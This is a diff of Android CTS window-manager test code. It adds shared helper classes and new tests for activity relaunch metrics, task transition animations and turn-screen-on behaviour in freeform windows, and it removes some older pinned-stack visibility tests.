diff --git a/tests/framework/base/windowmanager/shared/README.md b/tests/framework/base/windowmanager/shared/README.md
new file mode 100644
index 0000000..6196414
--- /dev/null
+++ b/tests/framework/base/windowmanager/shared/README.md
@@ -0,0 +1,2 @@
+Code here is shared between the test helper apps (CtsDeviceServicesTestApp) and the test
+(CtsWindowManagerDeviceTestCases) itself.
diff --git a/tests/framework/base/windowmanager/shared/src/android/server/wm/shared/BlockingResultReceiver.java b/tests/framework/base/windowmanager/shared/src/android/server/wm/shared/BlockingResultReceiver.java
new file mode 100644
index 0000000..388c4c3
--- /dev/null
+++ b/tests/framework/base/windowmanager/shared/src/android/server/wm/shared/BlockingResultReceiver.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.shared;
+
+import android.os.Bundle;
+import android.os.Parcel;
+import android.util.Pair;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.function.BiConsumer;
+
+/**
+ * Version of {@link android.os.ResultReceiver} that blocks waiting for result and doesn't have
+ * serialization problems (as long as both ends have access to this class) since it doesn't work via
+ * subclassing.
+ */
+public class BlockingResultReceiver extends android.os.ResultReceiver {
+    private final CompletableFuture<Pair<Integer, Bundle>> mFuture = new CompletableFuture<>();
+
+    public BlockingResultReceiver() {
+        super(/* handler */ null);
+    }
+
+    @Override
+    protected void onReceiveResult(int code, Bundle data) {
+        mFuture.complete(new Pair<>(code, data));
+    }
+
+    public Bundle getData(long timeoutMs)
+            throws InterruptedException, ExecutionException, TimeoutException {
+        return mFuture.get(timeoutMs, TimeUnit.MILLISECONDS).second;
+    }
+
+    public int getCode(long timeoutMs)
+            throws InterruptedException, ExecutionException, TimeoutException {
+        return mFuture.get(timeoutMs, TimeUnit.MILLISECONDS).first;
+    }
+}
diff --git a/tests/framework/base/windowmanager/shared/src/android/server/wm/shared/IUntrustedTouchTestService.aidl b/tests/framework/base/windowmanager/shared/src/android/server/wm/shared/IUntrustedTouchTestService.aidl
new file mode 100644
index 0000000..e70ef1d
--- /dev/null
+++ b/tests/framework/base/windowmanager/shared/src/android/server/wm/shared/IUntrustedTouchTestService.aidl
@@ -0,0 +1,26 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.shared;
+
+import android.os.IBinder;
+
+interface IUntrustedTouchTestService {
+    void showToast();
+    void showSystemAlertWindow(String windowName, float opacity);
+    void showActivityChildWindow(String windowName, in IBinder token);
+    void removeOverlays();
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityMetricsLoggerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityMetricsLoggerTests.java
index 4c3c9a0..94a2cad 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityMetricsLoggerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityMetricsLoggerTests.java
@@ -64,6 +64,7 @@
 import android.os.SystemClock;
 import android.platform.test.annotations.Presubmit;
 import android.server.wm.CommandSession.ActivitySessionClient;
+import android.server.wm.ConfigChangeTests.FontScaleSession;
 import android.support.test.metricshelper.MetricsAsserts;
 import android.util.EventLog.Event;
 
@@ -95,6 +96,7 @@
     private static final String LAUNCH_STATE_COLD = "COLD";
     private static final String LAUNCH_STATE_WARM = "WARM";
     private static final String LAUNCH_STATE_HOT = "HOT";
+    private static final String LAUNCH_STATE_RELAUNCH = "RELAUNCH";
     private static final int EVENT_WM_ACTIVITY_LAUNCH_TIME = 30009;
     private final MetricsReader mMetricsReader = new MetricsReader();
     private long mPreUptimeMs;
@@ -281,6 +283,29 @@
     }
 
     /**
+     * Launch an existing background activity after the device configuration is changed and the
+     * activity doesn't declare to handle the change. The state should be RELAUNCH instead of HOT.
+     */
+    @Test
+    public void testAppRelaunchSetsWaitResultDelayData() {
+        final String startTestActivityCmd = "am start -W " + TEST_ACTIVITY.flattenToShortString();
+        SystemUtil.runShellCommand(startTestActivityCmd);
+
+        // Launch another task and make sure a configuration change triggers relaunch.
+        launchAndWaitForActivity(SECOND_ACTIVITY);
+        separateTestJournal();
+
+        final FontScaleSession fontScaleSession = mObjectTracker.manage(new FontScaleSession());
+        final Float originalScale = fontScaleSession.get();
+        fontScaleSession.set((originalScale == null ? 1f : originalScale) + 0.1f);
+        assertActivityLifecycle(SECOND_ACTIVITY, true /* relaunched */);
+
+        // Move the task of test activity to front.
+        final String amStartOutput = SystemUtil.runShellCommand(startTestActivityCmd);
+        assertLaunchComponentState(amStartOutput, TEST_ACTIVITY, LAUNCH_STATE_RELAUNCH);
+    }
+
+    /**
      * Cold launch an activity with wait option and verify that {@link android.app.WaitResult#totalTime}
      * totalTime is set correctly. Make sure the reported value is consistent with value reported to
      * metrics logs. Verify we output the correct launch state.
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityTransitionTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityTransitionTests.java
index 9cc15ea..3573d3f 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityTransitionTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityTransitionTests.java
@@ -16,9 +16,13 @@
 
 package android.server.wm;
 
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.server.wm.app.Components.TEST_ACTIVITY;
 import static android.view.Display.DEFAULT_DISPLAY;
 
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
 
 import android.app.Activity;
 import android.app.ActivityOptions;
@@ -32,9 +36,11 @@
 import android.server.wm.cts.R;
 import android.util.Range;
 
-import org.junit.Test;
+import androidx.test.platform.app.InstrumentationRegistry;
 
-import androidx.test.InstrumentationRegistry;
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.Test;
 
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
@@ -45,9 +51,23 @@
  */
 @Presubmit
 public class ActivityTransitionTests extends ActivityManagerTestBase {
+    // See WindowManagerService.DISABLE_CUSTOM_TASK_ANIMATION_PROPERTY
+    static final String DISABLE_CUSTOM_TASK_ANIMATION_PROPERTY =
+            "persist.wm.disable_custom_task_animation";
+    static final boolean DISABLE_CUSTOM_TASK_ANIMATION_DEFAULT = true;
+
+    private static boolean customTaskAnimationDisabled() {
+        try {
+            return Integer.parseInt(executeShellCommand(
+                    "getprop " + DISABLE_CUSTOM_TASK_ANIMATION_PROPERTY).replace("\n", "")) != 0;
+        } catch (NumberFormatException e) {
+            return DISABLE_CUSTOM_TASK_ANIMATION_DEFAULT;
+        }
+    }
+
     @Test
     public void testActivityTransitionDurationNoShortenAsExpected() throws Exception {
-        final long expectedDurationMs = 500L - 100L;
+        final long expectedDurationMs = 500L - 100L;    // custom animation
         final long minDurationMs = expectedDurationMs;
         final long maxDurationMs = expectedDurationMs + 300L;
         final Range<Long> durationRange = new Range<>(minDurationMs, maxDurationMs);
@@ -66,10 +86,10 @@
         };
 
         final Intent intent = new Intent(mContext, LauncherActivity.class)
-            .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
         final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
         final LauncherActivity launcherActivity =
-            (LauncherActivity) instrumentation.startActivitySync(intent);
+                (LauncherActivity) instrumentation.startActivitySync(intent);
 
         final Bundle bundle = ActivityOptions.makeCustomAnimation(mContext,
                 R.anim.alpha, 0, new Handler(Looper.getMainLooper()), startedListener,
@@ -77,7 +97,7 @@
         launcherActivity.startTransitionActivity(bundle);
         mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
         waitAndAssertTopResumedActivity(new ComponentName(mContext, TransitionActivity.class),
-            DEFAULT_DISPLAY, "Activity must be launched");
+                DEFAULT_DISPLAY, "Activity must be launched");
 
         latch.await(2, TimeUnit.SECONDS);
         final long totalTime = transitionEndTime[0] - transitionStartTime[0];
@@ -86,6 +106,128 @@
                 + "actual=" + totalTime, durationRange.contains(totalTime));
     }
 
+    @Test
+    public void testTaskTransitionDurationNoShortenAsExpected() throws Exception {
+        assumeFalse(customTaskAnimationDisabled());
+
+        final long expectedDurationMs = 500L - 100L;    // custom animation
+        final long minDurationMs = expectedDurationMs;
+        final long maxDurationMs = expectedDurationMs + 300L;
+        final Range<Long> durationRange = new Range<>(minDurationMs, maxDurationMs);
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        long[] transitionStartTime = new long[1];
+        long[] transitionEndTime = new long[1];
+
+        final ActivityOptions.OnAnimationStartedListener startedListener = () -> {
+            transitionStartTime[0] = System.currentTimeMillis();
+        };
+
+        final ActivityOptions.OnAnimationFinishedListener finishedListener = () -> {
+            transitionEndTime[0] = System.currentTimeMillis();
+            latch.countDown();
+        };
+
+        final Bundle bundle = ActivityOptions.makeCustomAnimation(mContext,
+                R.anim.alpha, 0, new Handler(Looper.getMainLooper()), startedListener,
+                finishedListener).toBundle();
+        final Intent intent = new Intent().setComponent(TEST_ACTIVITY)
+                .addFlags(FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(intent, bundle);
+        mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
+        waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
+                "Activity must be launched");
+
+        latch.await(2, TimeUnit.SECONDS);
+        final long totalTime = transitionEndTime[0] - transitionStartTime[0];
+        assertTrue("Actual transition duration should be in the range "
+                + "<" + minDurationMs + ", " + maxDurationMs + "> ms, "
+                + "actual=" + totalTime, durationRange.contains(totalTime));
+    }
+
+    @Test
+    public void testTaskTransitionOverrideDisabled() throws Exception {
+        assumeTrue(customTaskAnimationDisabled());
+
+        final long expectedDurationMs = 275L - 100L;   // wallpaper close animation
+        final long minDurationMs = expectedDurationMs;
+        final long maxDurationMs = expectedDurationMs + 300L;
+        final Range<Long> durationRange = new Range<>(minDurationMs, maxDurationMs);
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        long[] transitionStartTime = new long[1];
+        long[] transitionEndTime = new long[1];
+
+        final ActivityOptions.OnAnimationStartedListener startedListener = () -> {
+            transitionStartTime[0] = System.currentTimeMillis();
+        };
+
+        final ActivityOptions.OnAnimationFinishedListener finishedListener = () -> {
+            transitionEndTime[0] = System.currentTimeMillis();
+            latch.countDown();
+        };
+
+        // Overriding task transit animation is disabled, so default wallpaper close animation
+        // is played.
+        final Bundle bundle = ActivityOptions.makeCustomAnimation(mContext,
+                R.anim.alpha, 0, new Handler(Looper.getMainLooper()), startedListener,
+                finishedListener).toBundle();
+        final Intent intent = new Intent().setComponent(TEST_ACTIVITY)
+                .addFlags(FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(intent, bundle);
+        mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
+        waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
+                "Activity must be launched");
+
+        latch.await(2, TimeUnit.SECONDS);
+        final long totalTime = transitionEndTime[0] - transitionStartTime[0];
+        assertTrue("Actual transition duration should be in the range "
+                + "<" + minDurationMs + ", " + maxDurationMs + "> ms, "
+                + "actual=" + totalTime, durationRange.contains(totalTime));
+    }
+
+    @Test
+    public void testTaskTransitionOverride() throws Exception {
+        assumeTrue(customTaskAnimationDisabled());
+
+        final long expectedDurationMs = 500L - 100L;    // custom animation
+        final long minDurationMs = expectedDurationMs;
+        final long maxDurationMs = expectedDurationMs + 300L;
+        final Range<Long> durationRange = new Range<>(minDurationMs, maxDurationMs);
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        long[] transitionStartTime = new long[1];
+        long[] transitionEndTime = new long[1];
+
+        final ActivityOptions.OnAnimationStartedListener startedListener = () -> {
+            transitionStartTime[0] = System.currentTimeMillis();
+        };
+
+        final ActivityOptions.OnAnimationFinishedListener finishedListener = () -> {
+            transitionEndTime[0] = System.currentTimeMillis();
+            latch.countDown();
+        };
+
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            // Overriding task transit animation is enabled, so custom animation is played.
+            final Bundle bundle = ActivityOptions.makeCustomTaskAnimation(mContext,
+                    R.anim.alpha, 0, new Handler(Looper.getMainLooper()), startedListener,
+                    finishedListener).toBundle();
+            final Intent intent = new Intent().setComponent(TEST_ACTIVITY)
+                    .addFlags(FLAG_ACTIVITY_NEW_TASK);
+            mContext.startActivity(intent, bundle);
+            mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
+            waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
+                    "Activity must be launched");
+
+            latch.await(2, TimeUnit.SECONDS);
+            final long totalTime = transitionEndTime[0] - transitionStartTime[0];
+            assertTrue("Actual transition duration should be in the range "
+                    + "<" + minDurationMs + ", " + maxDurationMs + "> ms, "
+                    + "actual=" + totalTime, durationRange.contains(totalTime));
+        });
+    }
+
     public static class LauncherActivity extends Activity {
 
         public void startTransitionActivity(Bundle bundle) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
index 7fda85e..96e6c8b 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
@@ -16,34 +16,30 @@
 
 package android.server.wm;
 
-import static android.app.ActivityTaskManager.INVALID_STACK_ID;
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FREEFORM;
 import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY;
-import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
 import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
 import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
-import static android.content.Intent.ACTION_MAIN;
-import static android.content.Intent.CATEGORY_HOME;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_TASK_ON_HOME;
-import static android.content.pm.PackageManager.MATCH_DEFAULT_ONLY;
-import static android.server.wm.WindowManagerState.STATE_RESUMED;
-import static android.server.wm.WindowManagerState.STATE_STOPPED;
+import static android.server.wm.CliIntentExtra.extraString;
 import static android.server.wm.UiDeviceUtils.pressBackButton;
 import static android.server.wm.UiDeviceUtils.pressHomeButton;
 import static android.server.wm.VirtualDisplayHelper.waitForDefaultDisplayState;
+import static android.server.wm.WindowManagerState.STATE_RESUMED;
+import static android.server.wm.WindowManagerState.STATE_STOPPED;
 import static android.server.wm.app.Components.ALT_LAUNCHING_ACTIVITY;
-import static android.server.wm.app.Components.ALWAYS_FOCUSABLE_PIP_ACTIVITY;
 import static android.server.wm.app.Components.BROADCAST_RECEIVER_ACTIVITY;
 import static android.server.wm.app.Components.DOCKED_ACTIVITY;
 import static android.server.wm.app.Components.LAUNCHING_ACTIVITY;
-import static android.server.wm.app.Components.LAUNCH_PIP_ON_PIP_ACTIVITY;
 import static android.server.wm.app.Components.MOVE_TASK_TO_BACK_ACTIVITY;
 import static android.server.wm.app.Components.MoveTaskToBackActivity.EXTRA_FINISH_POINT;
 import static android.server.wm.app.Components.MoveTaskToBackActivity.FINISH_POINT_ON_PAUSE;
 import static android.server.wm.app.Components.MoveTaskToBackActivity.FINISH_POINT_ON_STOP;
 import static android.server.wm.app.Components.NO_HISTORY_ACTIVITY;
+import static android.server.wm.app.Components.RESIZEABLE_ACTIVITY;
 import static android.server.wm.app.Components.SHOW_WHEN_LOCKED_DIALOG_ACTIVITY;
 import static android.server.wm.app.Components.TEST_ACTIVITY;
 import static android.server.wm.app.Components.TOP_ACTIVITY;
@@ -59,15 +55,11 @@
 import static android.server.wm.app.Components.TopActivity.ACTION_CONVERT_TO_TRANSLUCENT;
 import static android.view.Display.DEFAULT_DISPLAY;
 
-import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeTrue;
 
 import android.content.ComponentName;
-import android.content.Intent;
-import android.content.pm.ResolveInfo;
 import android.platform.test.annotations.Presubmit;
 import android.server.wm.CommandSession.ActivitySession;
 import android.server.wm.CommandSession.ActivitySessionClient;
@@ -87,113 +79,28 @@
     @Rule
     public final DisableScreenDozeRule mDisableScreenDozeRule = new DisableScreenDozeRule();
 
-    @Test
-    public void testTranslucentActivityOnTopOfPinnedStack() throws Exception {
-        if (!supportsPip()) {
-            return;
-        }
-
-        executeShellCommand(getAmStartCmdOverHome(LAUNCH_PIP_ON_PIP_ACTIVITY));
-        mWmState.waitForValidState(LAUNCH_PIP_ON_PIP_ACTIVITY);
-        // NOTE: moving to pinned stack will trigger the pip-on-pip activity to launch the
-        // translucent activity.
-        final int stackId = mWmState.getStackIdByActivity(
-                LAUNCH_PIP_ON_PIP_ACTIVITY);
-
-        assertNotEquals(stackId, INVALID_STACK_ID);
-        moveTopActivityToPinnedStack(stackId);
-        mWmState.waitForValidState(
-                new WaitForValidActivityState.Builder(ALWAYS_FOCUSABLE_PIP_ACTIVITY)
-                        .setWindowingMode(WINDOWING_MODE_PINNED)
-                        .setActivityType(ACTIVITY_TYPE_STANDARD)
-                        .build());
-
-        mWmState.assertFrontStack("Pinned stack must be the front stack.",
-                WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertVisibility(LAUNCH_PIP_ON_PIP_ACTIVITY, true);
-        mWmState.assertVisibility(ALWAYS_FOCUSABLE_PIP_ACTIVITY, true);
-    }
-
     /**
      * Asserts that the home activity is visible when a translucent activity is launched in the
      * fullscreen stack over the home activity.
      */
     @Test
-    public void testTranslucentActivityOnTopOfHome() throws Exception {
+    public void testTranslucentActivityOnTopOfHome() {
         if (!hasHomeScreen()) {
             return;
         }
 
         launchHomeActivity();
-        launchActivity(ALWAYS_FOCUSABLE_PIP_ACTIVITY);
+        launchActivity(TRANSLUCENT_ACTIVITY);
 
         mWmState.assertFrontStack("Fullscreen stack must be the front stack.",
                 WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertVisibility(ALWAYS_FOCUSABLE_PIP_ACTIVITY, true);
-        mWmState.assertHomeActivityVisible(true);
-    }
-
-    /**
-     * Assert that the home activity is visible if a task that was launched from home is pinned
-     * and also assert the next task in the fullscreen stack isn't visible.
-     */
-    @Test
-    public void testHomeVisibleOnActivityTaskPinned() throws Exception {
-        if (!supportsPip() || !hasHomeScreen()) {
-            return;
-        }
-
-        launchHomeActivity();
-        launchActivity(TEST_ACTIVITY);
-        launchHomeActivity();
-        launchActivity(ALWAYS_FOCUSABLE_PIP_ACTIVITY);
-        final int stackId = mWmState.getStackIdByActivity(
-                ALWAYS_FOCUSABLE_PIP_ACTIVITY);
-
-        assertNotEquals(stackId, INVALID_STACK_ID);
-        moveTopActivityToPinnedStack(stackId);
-        mWmState.waitForValidState(
-                new WaitForValidActivityState.Builder(ALWAYS_FOCUSABLE_PIP_ACTIVITY)
-                        .setWindowingMode(WINDOWING_MODE_PINNED)
-                        .setActivityType(ACTIVITY_TYPE_STANDARD)
-                        .build());
-
-        mWmState.assertVisibility(ALWAYS_FOCUSABLE_PIP_ACTIVITY, true);
-        mWmState.assertVisibility(TEST_ACTIVITY, false);
+        mWmState.assertVisibility(TRANSLUCENT_ACTIVITY, true);
         mWmState.assertHomeActivityVisible(true);
     }
 
     @Test
-    public void testHomeVisibleOnEmptyDisplay() throws Exception {
-        if (!hasHomeScreen()) {
-            return;
-        }
-
-        removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
-        forceStopHome();
-
-        assertEquals(mWmState.getResumedActivitiesCount(), 0);
-        assertEquals(mWmState.getRootTasksCount() , 0);
-
-        pressHomeButton();
-
-        mWmState.waitForHomeActivityVisible();
-        mWmState.assertHomeActivityVisible(true);
-    }
-
-    private void forceStopHome() {
-        final Intent intent = new Intent(ACTION_MAIN);
-        intent.addCategory(CATEGORY_HOME);
-        final ResolveInfo resolveInfo =
-                mContext.getPackageManager().resolveActivity(intent, MATCH_DEFAULT_ONLY);
-        String KILL_APP_COMMAND = "am force-stop " + resolveInfo.activityInfo.packageName;
-
-        executeShellCommand(KILL_APP_COMMAND);
-    }
-
-    @Test
-    public void testTranslucentActivityOverDockedStack() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
+    public void testTranslucentActivityOverMultiWindowActivity() {
+        if (!supportsMultiWindow()) {
             // Skipping test: no multi-window support
             return;
         }
@@ -201,15 +108,11 @@
         launchActivitiesInSplitScreen(
                 getLaunchActivityBuilder().setTargetActivity(DOCKED_ACTIVITY),
                 getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-        launchActivity(TRANSLUCENT_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+        launchActivityInSecondarySplit(TRANSLUCENT_ACTIVITY);
         mWmState.computeState(
                 new WaitForValidActivityState(TEST_ACTIVITY),
                 new WaitForValidActivityState(DOCKED_ACTIVITY),
                 new WaitForValidActivityState(TRANSLUCENT_ACTIVITY));
-        mWmState.assertContainsStack("Must contain fullscreen stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertContainsStack("Must contain docked stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
         mWmState.assertVisibility(DOCKED_ACTIVITY, true);
         mWmState.assertVisibility(TEST_ACTIVITY, true);
         mWmState.assertVisibility(TRANSLUCENT_ACTIVITY, true);
@@ -221,8 +124,14 @@
 
         final LockScreenSession lockScreenSession = createManagedLockScreenSession();
         final ActivitySessionClient activityClient = createManagedActivityClientSession();
-        testTurnScreenOnActivity(lockScreenSession, activityClient, true /* useWindowFlags */);
-        testTurnScreenOnActivity(lockScreenSession, activityClient, false /* useWindowFlags */);
+        testTurnScreenOnActivity(lockScreenSession, activityClient,
+                true /* useWindowFlags */, true /* showWhenLocked */);
+        testTurnScreenOnActivity(lockScreenSession, activityClient,
+                false /* useWindowFlags */, true /* showWhenLocked */);
+        testTurnScreenOnActivity(lockScreenSession, activityClient,
+                true /* useWindowFlags */, false /* showWhenLocked */);
+        testTurnScreenOnActivity(lockScreenSession, activityClient,
+                false /* useWindowFlags */, false /* showWhenLocked */);
     }
 
     @Test
@@ -236,27 +145,22 @@
         // timeout should still notify the client activity to be visible. Then the relayout can
         // send the visible request to apply the flags and turn on screen.
         testTurnScreenOnActivity(lockScreenSession, activityClient, true /* useWindowFlags */,
-                1000 /* sleepMsInOnCreate */);
-    }
-
-    private void testTurnScreenOnActivity(LockScreenSession lockScreenSession,
-            ActivitySessionClient activitySessionClient, boolean useWindowFlags) {
-        testTurnScreenOnActivity(lockScreenSession, activitySessionClient, useWindowFlags,
-                0 /* sleepMsInOnCreate */);
+                true /* showWhenLocked */, 1000 /* sleepMsInOnCreate */);
     }
 
     private void testTurnScreenOnActivity(LockScreenSession lockScreenSession,
             ActivitySessionClient activitySessionClient, boolean useWindowFlags,
-            int sleepMsInOnCreate) {
-        lockScreenSession.sleepDevice();
+            boolean showWhenLocked) {
+        testTurnScreenOnActivity(lockScreenSession, activitySessionClient, useWindowFlags,
+                showWhenLocked, 0 /* sleepMsInOnCreate */);
+    }
 
-        final ActivitySession activity = activitySessionClient.startActivity(
-                getLaunchActivityBuilder().setUseInstrumentation().setIntentExtra(extra -> {
-                    extra.putBoolean(Components.TurnScreenOnActivity.EXTRA_USE_WINDOW_FLAGS,
-                            useWindowFlags);
-                    extra.putLong(Components.TurnScreenOnActivity.EXTRA_SLEEP_MS_IN_ON_CREATE,
-                            sleepMsInOnCreate);
-                }).setTargetActivity(TURN_SCREEN_ON_ACTIVITY));
+    private void testTurnScreenOnActivity(LockScreenSession lockScreenSession,
+            ActivitySessionClient activitySessionClient, boolean useWindowFlags,
+            boolean showWhenLocked, int sleepMsInOnCreate) {
+        ActivitySession activity = sleepDeviceAndLaunchTurnScreenOnActivity(lockScreenSession,
+                activitySessionClient, useWindowFlags, showWhenLocked, sleepMsInOnCreate,
+                WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
 
         mWmState.assertVisibility(TURN_SCREEN_ON_ACTIVITY, true);
         assertTrue("Display turns on by " + (useWindowFlags ? "flags" : "APIs"),
@@ -266,23 +170,74 @@
     }
 
     @Test
-    public void testFinishActivityInNonFocusedStack() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
+    public void testFreeformWindowToTurnScreenOn() {
+        assumeTrue(supportsLockScreen());
+        assumeTrue(supportsFreeform());
+
+        final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+        final ActivitySessionClient activityClient = createManagedActivityClientSession();
+
+        testFreeformWindowTurnScreenOnActivity(lockScreenSession, activityClient,
+                true/* useWindowFlags */, true/* showWhenLocked */);
+        testFreeformWindowTurnScreenOnActivity(lockScreenSession, activityClient,
+                true/* useWindowFlags */, false/* showWhenLocked */);
+        testFreeformWindowTurnScreenOnActivity(lockScreenSession, activityClient,
+                false/* useWindowFlags */, true/* showWhenLocked */);
+        testFreeformWindowTurnScreenOnActivity(lockScreenSession, activityClient,
+                false/* useWindowFlags */, false/* showWhenLocked */);
+    }
+
+    private void testFreeformWindowTurnScreenOnActivity(LockScreenSession lockScreenSession,
+            ActivitySessionClient activityClient, boolean useWindowFlags,
+            boolean showWhenLocked) {
+        ActivitySession activity = sleepDeviceAndLaunchTurnScreenOnActivity(lockScreenSession,
+                activityClient, useWindowFlags, showWhenLocked,
+                0 /* sleepMsInOnCreate */, WINDOWING_MODE_FREEFORM);
+        mWmState.waitForValidState(
+                new WaitForValidActivityState.Builder(TURN_SCREEN_ON_ACTIVITY)
+                        .setWindowingMode(WINDOWING_MODE_FULLSCREEN)
+                        .build());
+        assertTrue(mWmState.containsActivityInWindowingMode(
+                TURN_SCREEN_ON_ACTIVITY, WINDOWING_MODE_FULLSCREEN));
+        mWmState.assertVisibility(TURN_SCREEN_ON_ACTIVITY, true);
+        assertTrue("Display should be turned on by flags.", isDisplayOn(DEFAULT_DISPLAY));
+        activity.finish();
+    }
+
+    private ActivitySession sleepDeviceAndLaunchTurnScreenOnActivity(
+            LockScreenSession lockScreenSession, ActivitySessionClient activitySessionClient,
+            boolean useWindowFlags, boolean showWhenLocked, int sleepMsInOnCreate,
+            int windowingMode) {
+        lockScreenSession.sleepDevice();
+
+        return activitySessionClient.startActivity(
+                getLaunchActivityBuilder().setUseInstrumentation().setIntentExtra(extra -> {
+                    extra.putBoolean(Components.TurnScreenOnActivity.EXTRA_USE_WINDOW_FLAGS,
+                            useWindowFlags);
+                    extra.putBoolean(Components.TurnScreenOnActivity.EXTRA_SHOW_WHEN_LOCKED,
+                            showWhenLocked);
+                    extra.putLong(Components.TurnScreenOnActivity.EXTRA_SLEEP_MS_IN_ON_CREATE,
+                            sleepMsInOnCreate);
+                }).setTargetActivity(TURN_SCREEN_ON_ACTIVITY).setWindowingMode(windowingMode));
+    }
+
+    @Test
+    public void testFinishActivityInNonFocusedStack() {
+        if (!supportsMultiWindow()) {
             // Skipping test: no multi-window support
             return;
         }
 
         // Launch two activities in docked stack.
-        launchActivityInSplitScreenWithRecents(LAUNCHING_ACTIVITY);
+        launchActivityInPrimarySplit(LAUNCHING_ACTIVITY);
         getLaunchActivityBuilder()
                 .setTargetActivity(BROADCAST_RECEIVER_ACTIVITY)
                 .setWaitForLaunched(true)
                 .setUseInstrumentation()
                 .execute();
         mWmState.assertVisibility(BROADCAST_RECEIVER_ACTIVITY, true);
-        // Launch something to fullscreen stack to make it focused.
-        launchActivity(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
-        mWmState.assertVisibility(TEST_ACTIVITY, true);
+        // Launch something to second split to make it focused.
+        launchActivityInSecondarySplit(TEST_ACTIVITY);
         // Finish activity in non-focused (docked) stack.
         mBroadcastActionTrigger.finishBroadcastReceiverActivity();
 
@@ -311,16 +266,16 @@
     }
 
     @Test
-    public void testFinishActivityWithMoveTaskToBackAfterPause() throws Exception {
+    public void testFinishActivityWithMoveTaskToBackAfterPause() {
         performFinishActivityWithMoveTaskToBack(FINISH_POINT_ON_PAUSE);
     }
 
     @Test
-    public void testFinishActivityWithMoveTaskToBackAfterStop() throws Exception {
+    public void testFinishActivityWithMoveTaskToBackAfterStop() {
